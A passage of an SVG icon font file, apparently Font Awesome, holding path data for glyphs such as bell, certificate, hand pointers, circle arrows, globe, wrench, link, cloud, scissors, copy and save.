t-32 94.5t-23 89t-15 101t3.5 98.5t22 110.5h-122q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h480q435 0 896 384q52 0 90 -38t38 -90v-384zM1536 292v954q-394 -302 -768 -343v-270q377 -42 768 -341z" />
    <glyph glyph-name="bell" unicode="&#xf0a2;" horiz-adv-x="1792" 
d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM246 128h1300q-266 300 -266 832q0 51 -24 105t-69 103t-121.5 80.5t-169.5 31.5t-169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -532 -266 -832z
M1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5
t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
    <glyph glyph-name="certificate" unicode="&#xf0a3;" 
d="M1376 640l138 -135q30 -28 20 -70q-12 -41 -52 -51l-188 -48l53 -186q12 -41 -19 -70q-29 -31 -70 -19l-186 53l-48 -188q-10 -40 -51 -52q-12 -2 -19 -2q-31 0 -51 22l-135 138l-135 -138q-28 -30 -70 -20q-41 11 -51 52l-48 188l-186 -53q-41 -12 -70 19q-31 29 -19 70
l53 186l-188 48q-40 10 -52 51q-10 42 20 70l138 135l-138 135q-30 28 -20 70q12 41 52 51l188 48l-53 186q-12 41 19 70q29 31 70 19l186 -53l48 188q10 41 51 51q41 12 70 -19l135 -139l135 139q29 30 70 19q41 -10 51 -51l48 -188l186 53q41 12 70 -19q31 -29 19 -70
l-53 -186l188 -48q40 -10 52 -51q10 -42 -20 -70z" />
    <glyph glyph-name="hand_right" unicode="&#xf0a4;" horiz-adv-x="1792" 
d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 768q0 51 -39 89.5t-89 38.5h-576q0 20 15 48.5t33 55t33 68t15 84.5q0 67 -44.5 97.5t-115.5 30.5q-24 0 -90 -139q-24 -44 -37 -65q-40 -64 -112 -145q-71 -81 -101 -106
q-69 -57 -140 -57h-32v-640h32q72 0 167 -32t193.5 -64t179.5 -32q189 0 189 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5h331q52 0 90 38t38 90zM1792 769q0 -105 -75.5 -181t-180.5 -76h-169q-4 -62 -37 -119q3 -21 3 -43
q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5q-133 0 -322 69q-164 59 -223 59h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h288q10 0 21.5 4.5t23.5 14t22.5 18t24 22.5t20.5 21.5t19 21.5t14 17q65 74 100 129q13 21 33 62t37 72t40.5 63t55 49.5
t69.5 17.5q125 0 206.5 -67t81.5 -189q0 -68 -22 -128h374q104 0 180 -76t76 -179z" />
    <glyph glyph-name="hand_left" unicode="&#xf0a5;" horiz-adv-x="1792" 
d="M1376 128h32v640h-32q-35 0 -67.5 12t-62.5 37t-50 46t-49 54q-8 9 -12 14q-72 81 -112 145q-14 22 -38 68q-1 3 -10.5 22.5t-18.5 36t-20 35.5t-21.5 30.5t-18.5 11.5q-71 0 -115.5 -30.5t-44.5 -97.5q0 -43 15 -84.5t33 -68t33 -55t15 -48.5h-576q-50 0 -89 -38.5
t-39 -89.5q0 -52 38 -90t90 -38h331q-15 -17 -25 -47.5t-10 -55.5q0 -69 53 -119q-18 -32 -18 -69t17.5 -73.5t47.5 -52.5q-4 -24 -4 -56q0 -85 48.5 -126t135.5 -41q84 0 183 32t194 64t167 32zM1664 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45z
M1792 768v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-288q-59 0 -223 -59q-190 -69 -317 -69q-142 0 -230 77.5t-87 217.5l1 5q-61 76 -61 178q0 22 3 43q-33 57 -37 119h-169q-105 0 -180.5 76t-75.5 181q0 103 76 179t180 76h374q-22 60 -22 128q0 122 81.5 189t206.5 67
q38 0 69.5 -17.5t55 -49.5t40.5 -63t37 -72t33 -62q35 -55 100 -129q2 -3 14 -17t19 -21.5t20.5 -21.5t24 -22.5t22.5 -18t23.5 -14t21.5 -4.5h288q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="hand_up" unicode="&#xf0a6;" 
d="M1280 -64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 700q0 189 -167 189q-26 0 -56 -5q-16 30 -52.5 47.5t-73.5 17.5t-69 -18q-50 53 -119 53q-25 0 -55.5 -10t-47.5 -25v331q0 52 -38 90t-90 38q-51 0 -89.5 -39t-38.5 -89v-576
q-20 0 -48.5 15t-55 33t-68 33t-84.5 15q-67 0 -97.5 -44.5t-30.5 -115.5q0 -24 139 -90q44 -24 65 -37q64 -40 145 -112q81 -71 106 -101q57 -69 57 -140v-32h640v32q0 72 32 167t64 193.5t32 179.5zM1536 705q0 -133 -69 -322q-59 -164 -59 -223v-288q0 -53 -37.5 -90.5
t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5v288q0 10 -4.5 21.5t-14 23.5t-18 22.5t-22.5 24t-21.5 20.5t-21.5 19t-17 14q-74 65 -129 100q-21 13 -62 33t-72 37t-63 40.5t-49.5 55t-17.5 69.5q0 125 67 206.5t189 81.5q68 0 128 -22v374q0 104 76 180t179 76
q105 0 181 -75.5t76 -180.5v-169q62 -4 119 -37q21 3 43 3q101 0 178 -60q139 1 219.5 -85t80.5 -227z" />
    <glyph glyph-name="hand_down" unicode="&#xf0a7;" 
d="M1408 576q0 84 -32 183t-64 194t-32 167v32h-640v-32q0 -35 -12 -67.5t-37 -62.5t-46 -50t-54 -49q-9 -8 -14 -12q-81 -72 -145 -112q-22 -14 -68 -38q-3 -1 -22.5 -10.5t-36 -18.5t-35.5 -20t-30.5 -21.5t-11.5 -18.5q0 -71 30.5 -115.5t97.5 -44.5q43 0 84.5 15t68 33
t55 33t48.5 15v-576q0 -50 38.5 -89t89.5 -39q52 0 90 38t38 90v331q46 -35 103 -35q69 0 119 53q32 -18 69 -18t73.5 17.5t52.5 47.5q24 -4 56 -4q85 0 126 48.5t41 135.5zM1280 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 580
q0 -142 -77.5 -230t-217.5 -87l-5 1q-76 -61 -178 -61q-22 0 -43 3q-54 -30 -119 -37v-169q0 -105 -76 -180.5t-181 -75.5q-103 0 -179 76t-76 180v374q-54 -22 -128 -22q-121 0 -188.5 81.5t-67.5 206.5q0 38 17.5 69.5t49.5 55t63 40.5t72 37t62 33q55 35 129 100
q3 2 17 14t21.5 19t21.5 20.5t22.5 24t18 22.5t14 23.5t4.5 21.5v288q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-288q0 -59 59 -223q69 -190 69 -317z" />
    <glyph glyph-name="circle_arrow_left" unicode="&#xf0a8;" 
d="M1280 576v128q0 26 -19 45t-45 19h-502l189 189q19 19 19 45t-19 45l-91 91q-18 18 -45 18t-45 -18l-362 -362l-91 -91q-18 -18 -18 -45t18 -45l91 -91l362 -362q18 -18 45 -18t45 18l91 91q18 18 18 45t-18 45l-189 189h502q26 0 45 19t19 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_right" unicode="&#xf0a9;" 
d="M1285 640q0 27 -18 45l-91 91l-362 362q-18 18 -45 18t-45 -18l-91 -91q-18 -18 -18 -45t18 -45l189 -189h-502q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h502l-189 -189q-19 -19 -19 -45t19 -45l91 -91q18 -18 45 -18t45 18l362 362l91 91q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_up" unicode="&#xf0aa;" 
d="M1284 641q0 27 -18 45l-362 362l-91 91q-18 18 -45 18t-45 -18l-91 -91l-362 -362q-18 -18 -18 -45t18 -45l91 -91q18 -18 45 -18t45 18l189 189v-502q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v502l189 -189q19 -19 45 -19t45 19l91 91q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_down" unicode="&#xf0ab;" 
d="M1284 639q0 27 -18 45l-91 91q-18 18 -45 18t-45 -18l-189 -189v502q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-502l-189 189q-19 19 -45 19t-45 -19l-91 -91q-18 -18 -18 -45t18 -45l362 -362l91 -91q18 -18 45 -18t45 18l91 91l362 362q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="globe" unicode="&#xf0ac;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1042 887q-2 -1 -9.5 -9.5t-13.5 -9.5q2 0 4.5 5t5 11t3.5 7q6 7 22 15q14 6 52 12q34 8 51 -11
q-2 2 9.5 13t14.5 12q3 2 15 4.5t15 7.5l2 22q-12 -1 -17.5 7t-6.5 21q0 -2 -6 -8q0 7 -4.5 8t-11.5 -1t-9 -1q-10 3 -15 7.5t-8 16.5t-4 15q-2 5 -9.5 11t-9.5 10q-1 2 -2.5 5.5t-3 6.5t-4 5.5t-5.5 2.5t-7 -5t-7.5 -10t-4.5 -5q-3 2 -6 1.5t-4.5 -1t-4.5 -3t-5 -3.5
q-3 -2 -8.5 -3t-8.5 -2q15 5 -1 11q-10 4 -16 3q9 4 7.5 12t-8.5 14h5q-1 4 -8.5 8.5t-17.5 8.5t-13 6q-8 5 -34 9.5t-33 0.5q-5 -6 -4.5 -10.5t4 -14t3.5 -12.5q1 -6 -5.5 -13t-6.5 -12q0 -7 14 -15.5t10 -21.5q-3 -8 -16 -16t-16 -12q-5 -8 -1.5 -18.5t10.5 -16.5
q2 -2 1.5 -4t-3.5 -4.5t-5.5 -4t-6.5 -3.5l-3 -2q-11 -5 -20.5 6t-13.5 26q-7 25 -16 30q-23 8 -29 -1q-5 13 -41 26q-25 9 -58 4q6 1 0 15q-7 15 -19 12q3 6 4 17.5t1 13.5q3 13 12 23q1 1 7 8.5t9.5 13.5t0.5 6q35 -4 50 11q5 5 11.5 17t10.5 17q9 6 14 5.5t14.5 -5.5
t14.5 -5q14 -1 15.5 11t-7.5 20q12 -1 3 17q-4 7 -8 9q-12 4 -27 -5q-8 -4 2 -8q-1 1 -9.5 -10.5t-16.5 -17.5t-16 5q-1 1 -5.5 13.5t-9.5 13.5q-8 0 -16 -15q3 8 -11 15t-24 8q19 12 -8 27q-7 4 -20.5 5t-19.5 -4q-5 -7 -5.5 -11.5t5 -8t10.5 -5.5t11.5 -4t8.5 -3
q14 -10 8 -14q-2 -1 -8.5 -3.5t-11.5 -4.5t-6 -4q-3 -4 0 -14t-2 -14q-5 5 -9 17.5t-7 16.5q7 -9 -25 -6l-10 1q-4 0 -16 -2t-20.5 -1t-13.5 8q-4 8 0 20q1 4 4 2q-4 3 -11 9.5t-10 8.5q-46 -15 -94 -41q6 -1 12 1q5 2 13 6.5t10 5.5q34 14 42 7l5 5q14 -16 20 -25
q-7 4 -30 1q-20 -6 -22 -12q7 -12 5 -18q-4 3 -11.5 10t-14.5 11t-15 5q-16 0 -22 -1q-146 -80 -235 -222q7 -7 12 -8q4 -1 5 -9t2.5 -11t11.5 3q9 -8 3 -19q1 1 44 -27q19 -17 21 -21q3 -11 -10 -18q-1 2 -9 9t-9 4q-3 -5 0.5 -18.5t10.5 -12.5q-7 0 -9.5 -16t-2.5 -35.5
t-1 -23.5l2 -1q-3 -12 5.5 -34.5t21.5 -19.5q-13 -3 20 -43q6 -8 8 -9q3 -2 12 -7.5t15 -10t10 -10.5q4 -5 10 -22.5t14 -23.5q-2 -6 9.5 -20t10.5 -23q-1 0 -2.5 -1t-2.5 -1q3 -7 15.5 -14t15.5 -13q1 -3 2 -10t3 -11t8 -2q2 20 -24 62q-15 25 -17 29q-3 5 -5.5 15.5
t-4.5 14.5q2 0 6 -1.5t8.5 -3.5t7.5 -4t2 -3q-3 -7 2 -17.5t12 -18.5t17 -19t12 -13q6 -6 14 -19.5t0 -13.5q9 0 20 -10.5t17 -19.5q5 -8 8 -26t5 -24q2 -7 8.5 -13.5t12.5 -9.5l16 -8t13 -7q5 -2 18.5 -10.5t21.5 -11.5q10 -4 16 -4t14.5 2.5t13.5 3.5q15 2 29 -15t21 -21
q36 -19 55 -11q-2 -1 0.5 -7.5t8 -15.5t9 -14.5t5.5 -8.5q5 -6 18 -15t18 -15q6 4 7 9q-3 -8 7 -20t18 -10q14 3 14 32q-31 -15 -49 18q0 1 -2.5 5.5t-4 8.5t-2.5 8.5t0 7.5t5 3q9 0 10 3.5t-2 12.5t-4 13q-1 8 -11 20t-12 15q-5 -9 -16 -8t-16 9q0 -1 -1.5 -5.5t-1.5 -6.5
q-13 0 -15 1q1 3 2.5 17.5t3.5 22.5q1 4 5.5 12t7.5 14.5t4 12.5t-4.5 9.5t-17.5 2.5q-19 -1 -26 -20q-1 -3 -3 -10.5t-5 -11.5t-9 -7q-7 -3 -24 -2t-24 5q-13 8 -22.5 29t-9.5 37q0 10 2.5 26.5t3 25t-5.5 24.5q3 2 9 9.5t10 10.5q2 1 4.5 1.5t4.5 0t4 1.5t3 6q-1 1 -4 3
q-3 3 -4 3q7 -3 28.5 1.5t27.5 -1.5q15 -11 22 2q0 1 -2.5 9.5t-0.5 13.5q5 -27 29 -9q3 -3 15.5 -5t17.5 -5q3 -2 7 -5.5t5.5 -4.5t5 0.5t8.5 6.5q10 -14 12 -24q11 -40 19 -44q7 -3 11 -2t4.5 9.5t0 14t-1.5 12.5l-1 8v18l-1 8q-15 3 -18.5 12t1.5 18.5t15 18.5q1 1 8 3.5
t15.5 6.5t12.5 8q21 19 15 35q7 0 11 9q-1 0 -5 3t-7.5 5t-4.5 2q9 5 2 16q5 3 7.5 11t7.5 10q9 -12 21 -2q8 8 1 16q5 7 20.5 10.5t18.5 9.5q7 -2 8 2t1 12t3 12q4 5 15 9t13 5l17 11q3 4 0 4q18 -2 31 11q10 11 -6 20q3 6 -3 9.5t-15 5.5q3 1 11.5 0.5t10.5 1.5
q15 10 -7 16q-17 5 -43 -12zM879 10q206 36 351 189q-3 3 -12.5 4.5t-12.5 3.5q-18 7 -24 8q1 7 -2.5 13t-8 9t-12.5 8t-11 7q-2 2 -7 6t-7 5.5t-7.5 4.5t-8.5 2t-10 -1l-3 -1q-3 -1 -5.5 -2.5t-5.5 -3t-4 -3t0 -2.5q-21 17 -36 22q-5 1 -11 5.5t-10.5 7t-10 1.5t-11.5 -7
q-5 -5 -6 -15t-2 -13q-7 5 0 17.5t2 18.5q-3 6 -10.5 4.5t-12 -4.5t-11.5 -8.5t-9 -6.5t-8.5 -5.5t-8.5 -7.5q-3 -4 -6 -12t-5 -11q-2 4 -11.5 6.5t-9.5 5.5q2 -10 4 -35t5 -38q7 -31 -12 -48q-27 -25 -29 -40q-4 -22 12 -26q0 -7 -8 -20.5t-7 -21.5q0 -6 2 -16z" />
    <glyph glyph-name="wrench" unicode="&#xf0ad;" horiz-adv-x="1664" 
d="M384 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1028 484l-682 -682q-37 -37 -90 -37q-52 0 -91 37l-106 108q-38 36 -38 90q0 53 38 91l681 681q39 -98 114.5 -173.5t173.5 -114.5zM1662 919q0 -39 -23 -106q-47 -134 -164.5 -217.5
t-258.5 -83.5q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q58 0 121.5 -16.5t107.5 -46.5q16 -11 16 -28t-16 -28l-293 -169v-224l193 -107q5 3 79 48.5t135.5 81t70.5 35.5q15 0 23.5 -10t8.5 -25z" />
    <glyph glyph-name="tasks" unicode="&#xf0ae;" horiz-adv-x="1792" 
d="M1024 128h640v128h-640v-128zM640 640h1024v128h-1024v-128zM1280 1152h384v128h-384v-128zM1792 320v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 832v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19
t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
    <glyph glyph-name="filter" unicode="&#xf0b0;" horiz-adv-x="1408" 
d="M1403 1241q17 -41 -14 -70l-493 -493v-742q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-256 256q-19 19 -19 45v486l-493 493q-31 29 -14 70q17 39 59 39h1280q42 0 59 -39z" />
    <glyph glyph-name="briefcase" unicode="&#xf0b1;" horiz-adv-x="1792" 
d="M640 1280h512v128h-512v-128zM1792 640v-480q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v480h672v-160q0 -26 19 -45t45 -19h320q26 0 45 19t19 45v160h672zM1024 640v-128h-256v128h256zM1792 1120v-384h-1792v384q0 66 47 113t113 47h352v160q0 40 28 68
t68 28h576q40 0 68 -28t28 -68v-160h352q66 0 113 -47t47 -113z" />
    <glyph glyph-name="fullscreen" unicode="&#xf0b2;" 
d="M1283 995l-355 -355l355 -355l144 144q29 31 70 14q39 -17 39 -59v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l144 144l-355 355l-355 -355l144 -144q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l144 -144
l355 355l-355 355l-144 -144q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v448q0 26 19 45t45 19h448q42 0 59 -40q17 -39 -14 -69l-144 -144l355 -355l355 355l-144 144q-31 30 -14 69q17 40 59 40h448q26 0 45 -19t19 -45v-448q0 -42 -39 -59q-13 -5 -25 -5q-26 0 -45 19z
" />
    <glyph glyph-name="group" unicode="&#xf0c0;" horiz-adv-x="1920" 
d="M593 640q-162 -5 -265 -128h-134q-82 0 -138 40.5t-56 118.5q0 353 124 353q6 0 43.5 -21t97.5 -42.5t119 -21.5q67 0 133 23q-5 -37 -5 -66q0 -139 81 -256zM1664 3q0 -120 -73 -189.5t-194 -69.5h-874q-121 0 -194 69.5t-73 189.5q0 53 3.5 103.5t14 109t26.5 108.5
t43 97.5t62 81t85.5 53.5t111.5 20q10 0 43 -21.5t73 -48t107 -48t135 -21.5t135 21.5t107 48t73 48t43 21.5q61 0 111.5 -20t85.5 -53.5t62 -81t43 -97.5t26.5 -108.5t14 -109t3.5 -103.5zM640 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75
t75 -181zM1344 896q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5zM1920 671q0 -78 -56 -118.5t-138 -40.5h-134q-103 123 -265 128q81 117 81 256q0 29 -5 66q66 -23 133 -23q59 0 119 21.5t97.5 42.5
t43.5 21q124 0 124 -353zM1792 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181z" />
    <glyph glyph-name="link" unicode="&#xf0c1;" horiz-adv-x="1664" 
d="M1456 320q0 40 -28 68l-208 208q-28 28 -68 28q-42 0 -72 -32q3 -3 19 -18.5t21.5 -21.5t15 -19t13 -25.5t3.5 -27.5q0 -40 -28 -68t-68 -28q-15 0 -27.5 3.5t-25.5 13t-19 15t-21.5 21.5t-18.5 19q-33 -31 -33 -73q0 -40 28 -68l206 -207q27 -27 68 -27q40 0 68 26
l147 146q28 28 28 67zM753 1025q0 40 -28 68l-206 207q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l208 -208q27 -27 68 -27q42 0 72 31q-3 3 -19 18.5t-21.5 21.5t-15 19t-13 25.5t-3.5 27.5q0 40 28 68t68 28q15 0 27.5 -3.5t25.5 -13t19 -15
t21.5 -21.5t18.5 -19q33 31 33 73zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-206 207q-83 83 -83 203q0 123 88 209l-88 88q-86 -88 -208 -88q-120 0 -204 84l-208 208q-84 84 -84 204t85 203l147 146q83 83 203 83q121 0 204 -85l206 -207
q83 -83 83 -203q0 -123 -88 -209l88 -88q86 88 208 88q120 0 204 -84l208 -208q84 -84 84 -204z" />
    <glyph glyph-name="cloud" unicode="&#xf0c2;" horiz-adv-x="1920" 
d="M1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088q-185 0 -316.5 131.5t-131.5 316.5q0 132 71 241.5t187 163.5q-2 28 -2 43q0 212 150 362t362 150q158 0 286.5 -88t187.5 -230q70 62 166 62q106 0 181 -75t75 -181q0 -75 -41 -138q129 -30 213 -134.5t84 -239.5z
" />
    <glyph glyph-name="beaker" unicode="&#xf0c3;" horiz-adv-x="1664" 
d="M1527 88q56 -89 21.5 -152.5t-140.5 -63.5h-1152q-106 0 -140.5 63.5t21.5 152.5l503 793v399h-64q-26 0 -45 19t-19 45t19 45t45 19h512q26 0 45 -19t19 -45t-19 -45t-45 -19h-64v-399zM748 813l-272 -429h712l-272 429l-20 31v37v399h-128v-399v-37z" />
    <glyph glyph-name="cut" unicode="&#xf0c4;" horiz-adv-x="1792" 
d="M960 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1260 576l507 -398q28 -20 25 -56q-5 -35 -35 -51l-128 -64q-13 -7 -29 -7q-17 0 -31 8l-690 387l-110 -66q-8 -4 -12 -5q14 -49 10 -97q-7 -77 -56 -147.5t-132 -123.5q-132 -84 -277 -84
q-136 0 -222 78q-90 84 -79 207q7 76 56 147t131 124q132 84 278 84q83 0 151 -31q9 13 22 22l122 73l-122 73q-13 9 -22 22q-68 -31 -151 -31q-146 0 -278 84q-82 53 -131 124t-56 147q-5 59 15.5 113t63.5 93q85 79 222 79q145 0 277 -84q83 -52 132 -123t56 -148
q4 -48 -10 -97q4 -1 12 -5l110 -66l690 387q14 8 31 8q16 0 29 -7l128 -64q30 -16 35 -51q3 -36 -25 -56zM579 836q46 42 21 108t-106 117q-92 59 -192 59q-74 0 -113 -36q-46 -42 -21 -108t106 -117q92 -59 192 -59q74 0 113 36zM494 91q81 51 106 117t-21 108
q-39 36 -113 36q-100 0 -192 -59q-81 -51 -106 -117t21 -108q39 -36 113 -36q100 0 192 59zM672 704l96 -58v11q0 36 33 56l14 8l-79 47l-26 -26q-3 -3 -10 -11t-12 -12q-2 -2 -4 -3.5t-3 -2.5zM896 480l96 -32l736 576l-128 64l-768 -431v-113l-160 -96l9 -8q2 -2 7 -6
q4 -4 11 -12t11 -12l26 -26zM1600 64l128 64l-520 408l-177 -138q-2 -3 -13 -7z" />
    <glyph glyph-name="copy" unicode="&#xf0c5;" horiz-adv-x="1792" 
d="M1696 1152q40 0 68 -28t28 -68v-1216q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v288h-544q-40 0 -68 28t-28 68v672q0 40 20 88t48 76l408 408q28 28 76 48t88 20h416q40 0 68 -28t28 -68v-328q68 40 128 40h416zM1152 939l-299 -299h299v299zM512 1323l-299 -299
h299v299zM708 676l316 316v416h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h512v256q0 40 20 88t48 76zM1664 -128v1152h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h896z" />
    <glyph glyph-name="paper_clip" unicode="&#xf0c6;" horiz-adv-x="1408" 
d="M1404 151q0 -117 -79 -196t-196 -79q-135 0 -235 100l-777 776q-113 115 -113 271q0 159 110 270t269 111q158 0 273 -113l605 -606q10 -10 10 -22q0 -16 -30.5 -46.5t-46.5 -30.5q-13 0 -23 10l-606 607q-79 77 -181 77q-106 0 -179 -75t-73 -181q0 -105 76 -181
l776 -777q63 -63 145 -63q64 0 106 42t42 106q0 82 -63 145l-581 581q-26 24 -60 24q-29 0 -48 -19t-19 -48q0 -32 25 -59l410 -410q10 -10 10 -22q0 -16 -31 -47t-47 -31q-12 0 -22 10l-410 410q-63 61 -63 149q0 82 57 139t139 57q88 0 149 -63l581 -581q100 -98 100 -235
z" />
    <glyph glyph-name="save" unicode="&#xf0c7;" 
d="M384 0h768v384h-768v-384zM1280 0h128v896q0 14 -10 38.5t-20 34.5l-281 281q-10 10 -34 20t-39 10v-416q0 -40 -28 -68t-68 -28h-576q-40 0 -68 28t-28 68v416h-128v-1280h128v416q0 40 28 68t68 28h832q40 0 68 -28t28 -68v-416zM896 928v320q0 13 -9.5 22.5t-22.5 9.5
h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5zM1536 896v-928q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h928q40 0 88 -20t76 -48l280 -280q28 -28 48 -76t20 -88z" />
    <glyph glyph-name="sign_blank" unicode="&#xf0c8;" 
d="M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="reorder" unicode="&#xf0c9;" 
d="M1536 192v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 704v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 1216v-128q0 -26 -19 -45
t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="ul" unicode="&#xf0ca;" horiz-adv-x="1792" 
d="M384 128q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 640q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5
t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1152q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z
M1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="ol" unicode="&#xf0cb;" horiz-adv-x="1792" 
d="M381 -84q0 -80 -54.5 -126t-135.5 -46q-106 0 -172 66l57 88q49 -45 106 -45q29 0 50.5 14.5t21.5 42.5q0 64 -105 56l-26 56q8 10 32.5 43.5t42.5 54t37 38.5v1q-16 0 -48.5 -1t-48.5 -1v-53h-106v152h333v-88l-95 -115q51 -12 81 -49t30 -88zM383 543v-159h-362
q-6 36 -6 54q0 51 23.5 93t56.5 68t66 47.5t56.5 43.5t23.5 45q0 25 -14.5 38.5t-39.5 13.5q-46 0 -81 -58l-85 59q24 51 71.5 79.5t105.5 28.5q73 0 123 -41.5t50 -112.5q0 -50 -34 -91.5t-75 -64.5t-75.5 -50.5t-35.5 -52.5h127v60h105zM1792 224v-192q0 -13 -9.5 -22.5
t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1123v-99h-335v99h107q0 41 0.5 121.5t0.5 121.5v12h-2q-8 -17 -50 -54l-71 76l136 127h106v-404h108zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216
q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="strikethrough" unicode="&#xf0cc;" horiz-adv-x="1792" 
